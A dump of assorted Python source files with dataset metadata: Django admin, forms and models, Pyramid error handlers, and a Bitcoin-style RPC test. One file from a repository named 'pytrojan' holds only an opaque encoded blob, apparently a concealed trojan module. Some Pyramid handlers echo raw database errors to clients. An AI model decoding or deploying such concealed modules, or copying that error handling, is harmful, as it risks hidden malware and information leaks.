2019-11-24T04:58:45.000Z
|
2019-11-24T04:58:45.000Z
|
admin.py
|
raccoondude/Pastebin
|
3f207d3838066497b2263fd8b4687a5036d524f3
|
[
"Apache-2.0"
] | null | null | null |
admin.py
|
raccoondude/Pastebin
|
3f207d3838066497b2263fd8b4687a5036d524f3
|
[
"Apache-2.0"
] | null | null | null |
from django.contrib import admin
from .models import *
# Register your models here.
admin.site.register(Paste)
admin.site.register(EncryptPaste)
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0
| 5
|
0ac825a6ef96afd9941cf92b8288c92b05596cd3
| 128
|
py
|
Python
|
Documentation/GuidesFromPlosCompBioPaper/ExampleCaseC/AdditionalInputFiles/PRSCondition/LCxcoronaryRpController.py
|
carthurs/CRIMSONGUI
|
1464df9c4d04cf3ba131ca90b91988a06845c68e
|
[
"BSD-3-Clause"
] | 10
|
2020-09-17T18:55:31.000Z
|
2022-02-23T02:52:38.000Z
|
Documentation/GuidesFromPlosCompBioPaper/ExampleCaseC/AdditionalInputFiles/PRSCondition/LCxcoronaryRpController.py
|
carthurs/CRIMSONGUI
|
1464df9c4d04cf3ba131ca90b91988a06845c68e
|
[
"BSD-3-Clause"
] | null | null | null |
Documentation/GuidesFromPlosCompBioPaper/ExampleCaseC/AdditionalInputFiles/PRSCondition/LCxcoronaryRpController.py
|
carthurs/CRIMSONGUI
|
1464df9c4d04cf3ba131ca90b91988a06845c68e
|
[
"BSD-3-Clause"
] | 3
|
2021-05-19T09:02:21.000Z
|
2021-07-26T17:39:57.000Z
|
version https://git-lfs.github.com/spec/v1
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size 712
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0
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0aee8de72486d950aa0ef75786ce525b73c9e9da
| 353
|
py
|
Python
|
modules/environment.py
|
Xeratec/pytrojan
|
42e1eb928d69ac514d8cbb0b0784bd8f0bf8f4a5
|
[
"MIT"
] | 1
|
2020-05-08T08:59:35.000Z
|
2020-05-08T08:59:35.000Z
|
modules/environment.py
|
Xeratec/pytrojan
|
42e1eb928d69ac514d8cbb0b0784bd8f0bf8f4a5
|
[
"MIT"
] | null | null | null |
modules/environment.py
|
Xeratec/pytrojan
|
42e1eb928d69ac514d8cbb0b0784bd8f0bf8f4a5
|
[
"MIT"
] | null | null | null |
MHg2OCH76qZr/Uhf4pMliLJ3g/dWg2w2afLnOQ+/X61Q1ezGya6u3H5bcPJDr4Kc3SCM4R+kLRWv
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iipQzA2mrfjogNCiyG7A9PyeT6uCct/FwCa7tL2NiWXidluyoYkIpbkMYOC6s35o6hFYtDb+zI8m
WBmoTYn117LhBPAHhzItNA3OW3frvF24iPYfJdBYGk7xDBDG0oT1FWAEWhGC+zQCVlhnIhAY0e/U
d6EghPQ4NZPDryZLoFcTtD577h8ai5JkdNiX4aE4jYM=
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0
| 5
|
0aef05e9afd467300fb52a1ec7c5ee2539a82e40
| 44
|
py
|
Python
|
pytify/core/exceptions.py
|
marcelolandivar/Spotify
|
283ce2c33a74d176f48be82357b13cba646b50dc
|
[
"MIT"
] | null | null | null |
pytify/core/exceptions.py
|
marcelolandivar/Spotify
|
283ce2c33a74d176f48be82357b13cba646b50dc
|
[
"MIT"
] | null | null | null |
pytify/core/exceptions.py
|
marcelolandivar/Spotify
|
283ce2c33a74d176f48be82357b13cba646b50dc
|
[
"MIT"
] | null | null | null |
class BadRequestError(Exception):
pass
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0
| 5
|
0afe91597a92129a949579443b626bec05863e7c
| 8,949
|
py
|
Python
|
back/infolica/views/default.py
|
sitn/infolica
|
0ce145f4c5eb90aec8184006d61a41239b8e1d3e
|
[
"MIT"
] | null | null | null |
back/infolica/views/default.py
|
sitn/infolica
|
0ce145f4c5eb90aec8184006d61a41239b8e1d3e
|
[
"MIT"
] | 327
|
2019-10-29T13:35:25.000Z
|
2022-03-03T10:01:46.000Z
|
back/infolica/views/default.py
|
sitn/infolica
|
0ce145f4c5eb90aec8184006d61a41239b8e1d3e
|
[
"MIT"
] | 5
|
2019-11-07T15:49:05.000Z
|
2021-03-08T08:59:56.000Z
|
# -*- coding: utf-8 -*--
from pyramid.httpexceptions import HTTPForbidden, HTTPNoContent
from pyramid.view import notfound_view_config, view_config
from sqlalchemy import exc
from infolica.exceptions.custom_error import CustomError
from infolica.models.models import Client
from infolica.scripts.utils import Utils
import logging
log = logging.getLogger(__name__)
@view_config(route_name='test_client', request_method='POST', renderer='json')
def test_error(exc, request):
"""
Test (temp endpoint)
"""
query = request.dbsession.query(Client).first()
query = Utils.set_model_record(query, request.params)
return Utils.serialize_one(query)
@view_config(route_name='login', request_method='OPTIONS', renderer='json')
@view_config(route_name='login_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='logout', request_method='OPTIONS', renderer='json')
@view_config(route_name='affaires', request_method='OPTIONS', renderer='json')
@view_config(route_name='affaires_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='recherche_clients', request_method='OPTIONS', renderer='json')
@view_config(route_name='recherche_clients_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='recherche_affaires', request_method='OPTIONS', renderer='json')
@view_config(route_name='recherche_affaires_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='recherche_numeros', request_method='OPTIONS', renderer='json')
@view_config(route_name='recherche_numeros_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='clients', request_method='OPTIONS', renderer='json')
@view_config(route_name='clients_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='operateurs', request_method='OPTIONS', renderer='json')
@view_config(route_name='operateurs_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='factures', request_method='OPTIONS', renderer='json')
@view_config(route_name='factures_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='numero_by_id', request_method='OPTIONS', renderer='json')
@view_config(route_name='reference_numeros', request_method='OPTIONS', renderer='json')
@view_config(route_name='reference_numeros_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='preavis', request_method='OPTIONS', renderer='json')
@view_config(route_name='preavis_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='suivi_mandats', request_method='OPTIONS', renderer='json')
@view_config(route_name='suivi_mandats_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='controles_mutations', request_method='OPTIONS', renderer='json')
@view_config(route_name='controles_mutations_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='controles_ppe', request_method='OPTIONS', renderer='json')
@view_config(route_name='controles_ppe_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='numeros_differes', request_method='OPTIONS', renderer='json')
@view_config(route_name='numeros_differes_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='courrier_affaire', request_method='OPTIONS', renderer='json')
@view_config(route_name='courrier_affaire_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='delete_affaire_document', request_method='OPTIONS', renderer='json')
@view_config(route_name='numeros', request_method='OPTIONS', renderer='json')
@view_config(route_name='numeros_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='numeros_relations', request_method='OPTIONS', renderer='json')
@view_config(route_name='numeros_relations_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='affaire_numeros', request_method='OPTIONS', renderer='json')
@view_config(route_name='affaire_numeros_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='client_moral_personnes', request_method='OPTIONS', renderer='json')
@view_config(route_name='client_moral_personnes_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='reservation_numeros_mo', request_method='OPTIONS', renderer='json')
@view_config(route_name='controle_geometre', request_method='OPTIONS', renderer='json')
@view_config(route_name='controle_geometre_s', request_method='OPTIONS', renderer='json')
@view_config(route_name='save_document', request_method='OPTIONS', renderer='json')
@view_config(route_name='operateur_notes_maj', request_method='OPTIONS', renderer='json')
@view_config(route_name='emolument_affaire', request_method='OPTIONS', renderer='json')
@view_config(route_name='emolument', request_method='OPTIONS', renderer='json')
@view_config(route_name='emolument_affaire_freeze', request_method='OPTIONS', renderer='json')
@view_config(route_name='emolument_affaire_repartiton', request_method='OPTIONS', renderer='json')
def options_response_view(request):
"""
Common OPTION RESPONSE
"""
return ''
@view_config(context=Exception, renderer='json')
def general_error(exc, request):
"""
Common Exception return message
"""
err = str(exc.orig) if hasattr(exc, 'orig') else str(exc)
log.error(err)
request.response.status = 500
return {'error': 'true', 'code': 500, 'message': err}
@view_config(context=exc.IntegrityError, renderer='json')
def integrity_error(exc, request):
"""
Common IntegrityError return message
"""
err = str(exc.orig) if hasattr(exc, 'orig') else str(exc)
log.error(err)
request.response.status = 500
return {'error': 'true', 'code': 500, 'message': err}
@view_config(context=exc.StatementError, renderer='json')
def statement_error(exc, request):
"""
Common StatementError return message
"""
err = str(exc.orig) if hasattr(exc, 'orig') else str(exc)
log.error(err)
request.response.status = 500
return {'error': 'true', 'code': 500, 'message': err}
@view_config(context=exc.ResourceClosedError, renderer='json')
def resource_closed_error(exc, request):
"""
Common ResourceClosedError return message
"""
err = str(exc.orig) if hasattr(exc, 'orig') else str(exc)
log.error(err)
request.response.status = 500
return {'error': 'true', 'code': 500, 'message': err}
@view_config(context=exc.InternalError, renderer='json')
def internal_error(exc, request):
"""
Common InternalError return message
"""
err = str(exc.orig) if hasattr(exc, 'orig') else str(exc)
log.error(err)
request.response.status = 500
return {'error': 'true', 'code': 500, 'message': err}
@view_config(context=exc.NoReferenceError, renderer='json')
def noreference_error(exc, request):
"""
Common NoReferenceError return message
"""
err = str(exc.orig) if hasattr(exc, 'orig') else str(exc)
log.error(err)
request.response.status = 500
return {'error': 'true', 'code': 500, 'message': err}
@view_config(context=exc.InvalidRequestError, renderer='json')
def invalidrequest_error(exc, request):
"""
Common InvalidRequestError, return message
"""
err = str(exc.orig) if hasattr(exc, 'orig') else str(exc)
log.error(err)
request.response.status = 500
return {'error': 'true', 'code': 500, 'message': err}
@view_config(context=exc.DBAPIError, renderer='json')
def dbaapi_error(exc, request):
"""
Common DBAPIError return message
"""
err = str(exc.orig) if hasattr(exc, 'orig') else str(exc)
log.error(err)
request.response.status = 500
return {'error': 'true', 'code': 500, 'message': err}
@view_config(context=exc.SQLAlchemyError, renderer='json')
def sqlalchemy_error(exc, request):
"""
Common SQLAlchemyError return message
"""
err = str(exc.orig) if hasattr(exc, 'orig') else str(exc)
log.error(err)
request.response.status = 500
return {'error': 'true', 'code': 500, 'message': err}
@view_config(context=HTTPForbidden, renderer='json')
def http_forbidden_error(exc, request):
"""
Common HTTPForbidden return message
"""
err = str(exc.orig) if hasattr(exc, 'orig') else str(exc)
log.error(err)
request.response.status = 403
return {'error': 'true', 'code': 403, 'message': err}
@view_config(context=HTTPNoContent, renderer='json')
def http_no_content_error(exc, request):
"""
Common HTTPNoContent return message
"""
err = str(exc.orig) if hasattr(exc, 'orig') else str(exc)
log.error(err)
request.response.status = 204
return {'error': 'true', 'code': 204, 'message': err}
@notfound_view_config(renderer="json")
def notfound(request):
"""
Common notfound return message
"""
msg = CustomError.NOT_FOUND_ERROR.format(request.url, request.method)
log.error(msg)
request.response.status = 404
return {'error': 'true', 'code': 404, 'message': msg}
| 42.014085
| 98
| 0.736507
| 1,144
| 8,949
| 5.534091
| 0.11451
| 0.102669
| 0.120834
| 0.153056
| 0.725952
| 0.712052
| 0.712052
| 0.712052
| 0.712052
| 0.703996
| 0
| 0.009157
| 0.109174
| 8,949
| 212
| 99
| 42.212264
| 0.784997
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| 0.200729
| 0.019927
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| 0
| 1
| 0.10219
| false
| 0
| 0.051095
| 0
| 0.255474
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| null | 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
7c4a116bd21ca82b6f4977d8bf6a0f409f7817e3
| 316
|
py
|
Python
|
src/services/forms.py
|
jhernandez18p/mobyapp
|
4add7bd3b3f1e933bbb6941674bf84f4c4462685
|
[
"MIT"
] | null | null | null |
src/services/forms.py
|
jhernandez18p/mobyapp
|
4add7bd3b3f1e933bbb6941674bf84f4c4462685
|
[
"MIT"
] | 7
|
2020-06-05T17:31:06.000Z
|
2022-03-11T23:16:34.000Z
|
src/services/forms.py
|
jhernandez18p/mobyapp
|
4add7bd3b3f1e933bbb6941674bf84f4c4462685
|
[
"MIT"
] | null | null | null |
from django import forms
class ServiceForm(forms.Form):
name = forms.CharField(max_length=144, label='Nombre',)
email = forms.CharField(max_length=144, label='Correo electronico',)
subject = forms.CharField(max_length=144, label='Asunto',)
message = forms.CharField(max_length=744, label='Mensaje',)
| 45.142857
| 72
| 0.737342
| 41
| 316
| 5.585366
| 0.536585
| 0.244541
| 0.296943
| 0.401747
| 0.406114
| 0.406114
| 0
| 0
| 0
| 0
| 0
| 0.043321
| 0.123418
| 316
| 7
| 73
| 45.142857
| 0.783394
| 0
| 0
| 0
| 0
| 0
| 0.116719
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.166667
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
7c7bc11501f9eba3fbde5ba0af3d137d2e910364
| 39
|
py
|
Python
|
flagsense/util/flagsense_error.py
|
flagsense/flagsense-python-sdk
|
24f5ccd0efab2bb0f13746c0ec34e2965bcc60af
|
[
"Apache-2.0"
] | null | null | null |
flagsense/util/flagsense_error.py
|
flagsense/flagsense-python-sdk
|
24f5ccd0efab2bb0f13746c0ec34e2965bcc60af
|
[
"Apache-2.0"
] | null | null | null |
flagsense/util/flagsense_error.py
|
flagsense/flagsense-python-sdk
|
24f5ccd0efab2bb0f13746c0ec34e2965bcc60af
|
[
"Apache-2.0"
] | null | null | null |
class FlagsenseError(Exception):
pass
| 13
| 32
| 0.820513
| 4
| 39
| 8
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.102564
| 39
| 2
| 33
| 19.5
| 0.914286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
7c7cd646ffc198c4cb321a3d75a95ccf0d3c1b09
| 62
|
py
|
Python
|
propel_app/views.py
|
syz247179876/e_mall
|
f94e39e091e098242342f532ae371b8ff127542f
|
[
"Apache-2.0"
] | 7
|
2021-04-10T13:20:56.000Z
|
2022-03-29T15:00:29.000Z
|
propel_app/views.py
|
syz247179876/E_mall
|
f94e39e091e098242342f532ae371b8ff127542f
|
[
"Apache-2.0"
] | 9
|
2021-05-11T03:53:31.000Z
|
2022-03-12T00:58:03.000Z
|
propel_app/views.py
|
syz247179876/E_mall
|
f94e39e091e098242342f532ae371b8ff127542f
|
[
"Apache-2.0"
] | 2
|
2020-11-24T08:59:22.000Z
|
2020-11-24T14:10:59.000Z
|
from django.shortcuts import render
# Create your apis here.
| 15.5
| 35
| 0.790323
| 9
| 62
| 5.444444
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.16129
| 62
| 3
| 36
| 20.666667
| 0.942308
| 0.354839
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
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| 1
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| 1
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| 0
| null | 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
7c7cfaf417b6ffcdc3e9b604695158b1e60d6357
| 118
|
py
|
Python
|
mod/wn8master/res/scripts/client/mod_wn8master/__init__.py
|
SimonLoir/wot-wn8
|
28ddfc113110803c8f5427c7227b95438530a31e
|
[
"MIT"
] | 1
|
2020-05-12T19:04:40.000Z
|
2020-05-12T19:04:40.000Z
|
mod/wn8master/res/scripts/client/mod_wn8master/__init__.py
|
SimonLoir/wot-wn8
|
28ddfc113110803c8f5427c7227b95438530a31e
|
[
"MIT"
] | null | null | null |
mod/wn8master/res/scripts/client/mod_wn8master/__init__.py
|
SimonLoir/wot-wn8
|
28ddfc113110803c8f5427c7227b95438530a31e
|
[
"MIT"
] | null | null | null |
from debug_utils import LOG_NOTE
def start():
LOG_NOTE('Started mod')
def stop():
LOG_NOTE('End of mod')
| 10.727273
| 32
| 0.661017
| 19
| 118
| 3.894737
| 0.684211
| 0.283784
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.220339
| 118
| 10
| 33
| 11.8
| 0.804348
| 0
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| 0
| 0.177966
| 0
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| 0
| 0
| 1
| 0.4
| true
| 0
| 0.2
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
7c8251f08dd6170aba24368613db1ce3ba5dfcbf
| 76
|
py
|
Python
|
utils/__init__.py
|
closest-git/QuantumFold
|
2dc6afa96cdee91b58f66543b440a2d7a8d32a8a
|
[
"Apache-2.0"
] | null | null | null |
utils/__init__.py
|
closest-git/QuantumFold
|
2dc6afa96cdee91b58f66543b440a2d7a8d32a8a
|
[
"Apache-2.0"
] | null | null | null |
utils/__init__.py
|
closest-git/QuantumFold
|
2dc6afa96cdee91b58f66543b440a2d7a8d32a8a
|
[
"Apache-2.0"
] | null | null | null |
'''
@Author: Yingshi Chen
@Date: 2020-03-20 17:39:56
@
# Description:
'''
| 9.5
| 26
| 0.605263
| 11
| 76
| 4.181818
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.222222
| 0.171053
| 76
| 7
| 27
| 10.857143
| 0.507937
| 0.868421
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
7cbd035d287d1bb23e58fd43e5a32ecf31f395ad
| 149
|
py
|
Python
|
eCommerce-master/src/analytics/admin.py
|
felipebrigo/Python-projects
|
a0ba1f0f84d89fc9d5125c137046c574bc99d86f
|
[
"MIT"
] | null | null | null |
eCommerce-master/src/analytics/admin.py
|
felipebrigo/Python-projects
|
a0ba1f0f84d89fc9d5125c137046c574bc99d86f
|
[
"MIT"
] | 19
|
2020-07-14T07:04:43.000Z
|
2022-03-12T00:41:14.000Z
|
src/analytics/admin.py
|
JulioCantu/IndiStore
|
723c4ced800d43ffbfd34dc0ff7649b628008416
|
[
"bzip2-1.0.6"
] | 1
|
2020-12-14T19:57:25.000Z
|
2020-12-14T19:57:25.000Z
|
from django.contrib import admin
from .models import ObjectViewed, UserSession
admin.site.register(ObjectViewed)
admin.site.register(UserSession)
| 18.625
| 45
| 0.832215
| 18
| 149
| 6.888889
| 0.555556
| 0.145161
| 0.274194
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.09396
| 149
| 8
| 46
| 18.625
| 0.918519
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
7cd1af1e1b9301d20097266acb84f0e96374a2be
| 7,709
|
py
|
Python
|
test/functional/estx_waitforlogs.py
|
estxcoin/estcore
|
4398b1d944373fe25668469966fa2660da454279
|
[
"MIT"
] | 1
|
2019-09-17T07:53:52.000Z
|
2019-09-17T07:53:52.000Z
|
test/functional/estx_waitforlogs.py
|
estxcoin/estcore
|
4398b1d944373fe25668469966fa2660da454279
|
[
"MIT"
] | null | null | null |
test/functional/estx_waitforlogs.py
|
estxcoin/estcore
|
4398b1d944373fe25668469966fa2660da454279
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
# Copyright (c) 2015-2016 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import *
from test_framework.script import *
from test_framework.mininode import *
import sys
RPC_INVALID_PARAMETER = -8
class EstxRPCWaitforlogs(BitcoinTestFramework):
def set_test_params(self):
self.setup_clean_chain = True
self.num_nodes = 1
self.extra_args = [["-logevents=1"]]
def skip_test_if_missing_module(self):
self.skip_if_no_wallet()
def create_contracts_with_logs(self):
contract_addresses = []
send_result = []
block_hashes = []
self.nodes[0].generate(600)
contract_address = self.nodes[0].createcontract("6060604052600d600055341561001457600080fd5b61017e806100236000396000f30060606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063027c1aaf1461004e5780635b9af12b14610058575b005b61005661008f565b005b341561006357600080fd5b61007960048080359060200190919050506100a1565b6040518082815260200191505060405180910390f35b60026000808282540292505081905550565b60007fc5c442325655248f6bccf5c6181738f8755524172cea2a8bd1e38e43f833e7f282600054016000548460405180848152602001838152602001828152602001935050505060405180910390a17fc5c442325655248f6bccf5c6181738f8755524172cea2a8bd1e38e43f833e7f282600054016000548460405180848152602001838152602001828152602001935050505060405180910390a1816000540160008190555060005490509190505600a165627a7a7230582015732bfa66bdede47ecc05446bf4c1e8ed047efac25478cb13b795887df70f290029")['address']
self.nodes[0].generate(1)
contract_addresses.append(contract_address)
send_result.append(self.nodes[0].sendtocontract(contract_address,"5b9af12b"))
block_hashes.append(self.nodes[0].generate(1))
contract_address = self.nodes[0].createcontract("6060604052341561000f57600080fd5b61029b8061001e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806394e8767d14610067578063b717cfe6146100a6578063d3b57be9146100bb578063f7e52d58146100d0575b600080fd5b341561007257600080fd5b61008860048080359060200190919050506100e5565b60405180826000191660001916815260200191505060405180910390f35b34156100b157600080fd5b6100b961018e565b005b34156100c657600080fd5b6100ce6101a9565b005b34156100db57600080fd5b6100e36101b3565b005b600080821415610117577f30000000000000000000000000000000000000000000000000000000000000009050610186565b5b600082111561018557610100816001900481151561013257fe5b0460010290507f01000000000000000000000000000000000000000000000000000000000000006030600a8481151561016757fe5b06010260010281179050600a8281151561017d57fe5b049150610118565b5b809050919050565b60008081548092919060010191905055506101a76101b3565b565b6101b161018e565b565b7f746f7069632034000000000000000000000000000000000000000000000000007f746f7069632033000000000000000000000000000000000000000000000000007f746f7069632032000000000000000000000000000000000000000000000000007f746f70696320310000000000000000000000000000000000000000000000000060405180807f3700000000000000000000000000000000000000000000000000000000000000815250600101905060405180910390a45600a165627a7a72305820262764914338437fc49c9f752503904820534b24092308961bc10cd851985ae50029")['address']
self.nodes[0].generate(1)
contract_addresses.append(contract_address)
send_result.append(self.nodes[0].sendtocontract(contract_address,"d3b57be9"))
block_hashes.append(self.nodes[0].generate(1))
return contract_addresses, send_result, block_hashes
def check_topics(self, contract_addresses,block_hashes,send_result):
filters = {}
address = []
address.append(contract_addresses[0])
filters["addresses"] = address
topic = []
topic.append("c5c442325655248f6bccf5c6181738f8755524172cea2a8bd1e38e43f833e7f2")
filters["topics"] = topic
ret = self.nodes[0].waitforlogs(602,605,filters)
assert_equal(ret['entries'][0]['blockHash'], block_hashes[0][0])
assert_equal(ret['entries'][0]['blockNumber'], 602)
assert_equal(ret['entries'][0]['transactionHash'], send_result[0]['txid'])
assert_equal(ret['entries'][0]['transactionIndex'], 1)
assert_equal(ret['entries'][0]['from'], send_result[0]['hash160'])
assert_equal(ret['entries'][0]['to'], contract_addresses[0])
assert_equal(ret['entries'][0]['gasUsed'], 30991)
assert_equal(ret['entries'][0]['contractAddress'], contract_addresses[0])
assert_equal(ret['entries'][0]['topics'], ["c5c442325655248f6bccf5c6181738f8755524172cea2a8bd1e38e43f833e7f2"])
assert_equal(ret['entries'][0]['data'], "000000000000000000000000000000000000000000000000000000000000000d000000000000000000000000000000000000000000000000000000000000000d0000000000000000000000000000000000000000000000000000000000000000")
assert_equal(ret['count'], 2)
assert_equal(ret['nextblock'], 606)
topic.clear()
topic.append("c5c442325655248f6bccf5c6181738f8755524172cea2a8bd1e38e43f833e7f3") #error topics
ret = self.nodes[0].waitforlogs(602,605,filters)
assert_equal(ret,{"entries":[],"count":0,"nextblock":606})
def check_waitforlogs(self, contract_addresses, send_result, block_hashes):
self.nodes[0].sendtocontract(contract_addresses[1],"d3b57be9")
self.nodes[0].generate(10)
ret = self.nodes[0].waitforlogs(604,604)
assert_equal(ret['entries'][0]['blockHash'], block_hashes[1][0])
assert_equal(ret['entries'][0]['blockNumber'], 604)
assert_equal(ret['entries'][0]['transactionHash'], send_result[1]['txid'])
assert_equal(ret['entries'][0]['transactionIndex'], 1)
assert_equal(ret['entries'][0]['from'], send_result[1]['hash160'])
assert_equal(ret['entries'][0]['to'], contract_addresses[1])
assert_equal(ret['entries'][0]['gasUsed'], 43679)
assert_equal(ret['entries'][0]['contractAddress'], contract_addresses[1])
assert_equal(ret['entries'][0]['topics'], ["746f706963203100000000000000000000000000000000000000000000000000","746f706963203200000000000000000000000000000000000000000000000000"
,"746f706963203300000000000000000000000000000000000000000000000000","746f706963203400000000000000000000000000000000000000000000000000"])
assert_equal(ret['entries'][0]['data'], "37")
assert_equal(ret['count'], 1)
assert_equal(ret['nextblock'], 605)
try:
self.nodes[0].waitforlogs(0,0)
except JSONRPCException as exp:
assert_equal(exp.error["code"], RPC_INVALID_PARAMETER)
try:
self.nodes[0].waitforlogs(1,0)
except JSONRPCException as exp:
assert_equal(exp.error["code"], RPC_INVALID_PARAMETER)
try:
self.nodes[0].waitforlogs(200,100)
except JSONRPCException as exp:
assert_equal(exp.error["code"], RPC_INVALID_PARAMETER)
def run_test(self):
contract_addresses, send_result, block_hashes = self.create_contracts_with_logs()
self.check_waitforlogs(contract_addresses, send_result, block_hashes)
self.check_topics(contract_addresses, block_hashes, send_result)
self.stop_nodes()
self.start_nodes() #start node again
self.check_topics(contract_addresses, block_hashes,send_result)
if __name__ == '__main__':
EstxRPCWaitforlogs().main()
| 61.672
| 1,470
| 0.778441
| 580
| 7,709
| 10.132759
| 0.239655
| 0.052408
| 0.059554
| 0.075038
| 0.342692
| 0.322273
| 0.281776
| 0.26374
| 0.182916
| 0.148545
| 0
| 0.404854
| 0.12881
| 7,709
| 124
| 1,471
| 62.169355
| 0.47022
| 0.030354
| 0
| 0.228261
| 0
| 0
| 0.447717
| 0.383987
| 0
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| 0.304348
| 1
| 0.065217
| false
| 0
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| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
6b043effed312db3a1c28301c7c2c5f85327322f
| 2,879
|
py
|
Python
|
mpi/models.py
|
MaldoCarre/SIIEC-WEB
|
871479792d19e566d05335376c62d3df9fbcb09f
|
[
"MIT"
] | null | null | null |
mpi/models.py
|
MaldoCarre/SIIEC-WEB
|
871479792d19e566d05335376c62d3df9fbcb09f
|
[
"MIT"
] | null | null | null |
mpi/models.py
|
MaldoCarre/SIIEC-WEB
|
871479792d19e566d05335376c62d3df9fbcb09f
|
[
"MIT"
] | null | null | null |
from django.db import models
from core.models import Pacientes
# Create your models here.
class Mpi(models.Model):
id_mpi = models.AutoField(primary_key=True)
paciente_mpi = models.ForeignKey(Pacientes,null=True, on_delete=models.CASCADE)
s1_rest = models.IntegerField(null=True)
s2_rest = models.IntegerField(null=True)
s3_rest = models.IntegerField(null=True)
s4_rest = models.IntegerField(null=True)
s5_rest = models.IntegerField(null=True)
s6_rest = models.IntegerField(null=True)
s7_rest = models.IntegerField(null=True)
s8_rest = models.IntegerField(null=True)
s9_rest = models.IntegerField(null=True)
s10_rest = models.IntegerField(null=True)
s11_rest = models.IntegerField(null=True)
s12_rest = models.IntegerField(null=True)
s13_rest = models.IntegerField(null=True)
s14_rest = models.IntegerField(null=True)
s15_rest = models.IntegerField(null=True)
s16_rest = models.IntegerField(null=True)
s17_rest = models.IntegerField(null=True)
#fin rest
s1_stress = models.IntegerField(null=True)
s2_stress = models.IntegerField(null=True)
s3_stress = models.IntegerField(null=True)
s4_stress = models.IntegerField(null=True)
s5_stress = models.IntegerField(null=True)
s6_stress = models.IntegerField(null=True)
s7_stress = models.IntegerField(null=True)
s8_stress = models.IntegerField(null=True)
s9_stress = models.IntegerField(null=True)
s10_stress = models.IntegerField(null=True)
s11_stress = models.IntegerField(null=True)
s12_stress = models.IntegerField(null=True)
s13_stress = models.IntegerField(null=True)
s14_stress = models.IntegerField(null=True)
s15_stress = models.IntegerField(null=True)
s16_stress = models.IntegerField(null=True)
s17_stress = models.IntegerField(null=True)
#fin stress
s1_dif = models.IntegerField(null=True)
